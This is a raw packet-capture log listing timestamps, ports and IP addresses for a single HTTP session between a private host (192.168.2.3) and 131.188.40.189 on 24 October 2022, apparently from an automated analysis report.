Oct 24, 2022 11:08:54.145411968 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145421028 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145438910 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145441055 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145454884 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145462036 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145482063 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145482063 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145499945 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145503044 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145514965 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145520926 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.145546913 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.145560026 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.165899038 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.165934086 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.165954113 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.165978909 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166049957 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166107893 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166130066 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166147947 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166160107 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166167974 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166179895 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166187048 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166198969 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166207075 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166215897 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166229010 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166235924 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166249037 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166254044 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166268110 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166274071 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166286945 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166292906 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166306973 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166309118 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166327000 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166328907 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166347027 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166352034 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166364908 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166371107 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166383982 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166387081 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166400909 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166404963 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166424036 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166429043 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166444063 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166445971 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166457891 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166462898 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166481972 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166486979 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166501999 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166503906 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166517973 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166521072 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166541100 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166547060 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166559935 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166568995 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166579962 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166587114 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166599989 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166606903 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166618109 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166623116 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166637897 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166639090 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166652918 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166660070 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166680098 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166681051 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166698933 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166702986 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166718960 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166729927 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166740894 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166749954 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166769028 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166788101 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166793108 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166806936 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166819096 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166826963 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166846991 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166856050 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166872025 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166917086 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166917086 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166933060 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166940928 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166959047 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.166961908 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166981936 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.166985035 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167001009 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167004108 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167020082 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167028904 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167038918 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167058945 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167061090 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167077065 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167093039 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167095900 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167117119 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167119980 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167135954 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167140961 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167155027 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167165041 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167174101 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167184114 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167198896 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167197943 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167217970 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167221069 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167241096 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167241096 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167258024 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167265892 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167284966 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167293072 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167316914 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167320013 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167334080 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167341948 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167361021 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167366982 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167382002 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167392969 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167407990 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167418003 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167435884 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167445898 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167457104 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167471886 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167494059 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167511940 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167516947 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167541027 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167543888 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167568922 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167572021 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167591095 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167593956 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167615891 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167623043 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167649031 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167649031 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167669058 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167675018 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167690039 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167711020 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167737007 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167758942 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.167788029 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167830944 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.167877913 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.186414003 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.186489105 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.188574076 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.188607931 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.188640118 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.188657045 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.188668013 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.188694000 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.188719988 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.188744068 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.188760042 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.188771009 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.188775063 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.188812017 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.188839912 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.188843012 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.188869953 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.188895941 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.188895941 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.188937902 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.188937902 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.188965082 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.188991070 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189006090 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.189017057 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189043999 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189054012 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.189069986 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189095974 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189116001 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.189121962 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189148903 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189161062 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.189174891 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189198971 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189212084 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.189227104 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189254045 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189271927 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.189280033 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189306974 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189318895 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.189332962 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189359903 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189369917 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.189394951 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189431906 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189439058 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.189465046 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189491034 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189502001 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.189517975 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189543009 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189567089 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.189568996 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189594984 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189608097 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.189620018 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189645052 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189668894 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.189670086 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189696074 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189707041 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.189723015 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189747095 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189788103 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189790964 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.189812899 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189837933 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189850092 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.189862967 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189879894 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.189888954 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189918041 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189933062 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.189944983 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189970016 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.189985991 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.189996004 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190021992 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190037966 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.190046072 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190071106 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190093040 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.190097094 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190123081 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190145969 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.190148115 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190175056 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190200090 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190207958 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.190237045 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.190248013 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190274000 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190299034 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190313101 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.190325975 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190346956 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190371990 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190380096 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.190398932 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190423965 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190426111 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.190449953 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190468073 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.190475941 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190500021 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190525055 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190548897 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190550089 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.190578938 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190602064 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.190604925 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190630913 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190648079 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.190658092 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190680981 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.190684080 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190711021 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190732956 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.190737009 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190762997 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190783024 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.190790892 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190817118 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190840006 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.190841913 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190870047 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190901995 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.190911055 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190937996 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.190957069 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.207843065 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.207994938 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.211258888 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211294889 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211323977 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211357117 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211383104 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211409092 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211417913 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.211436033 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211461067 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.211466074 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211493969 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211500883 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.211519957 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211520910 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.211546898 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211572886 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211571932 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.211599112 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211618900 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.211627007 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211653948 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211668015 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.211680889 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211708069 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211720943 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.211735964 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211762905 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211774111 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.211788893 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211815119 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211827993 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.211841106 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211862087 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.211884022 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.211905956 CEST	49692	80	192.168.2.3	131.188.40.189
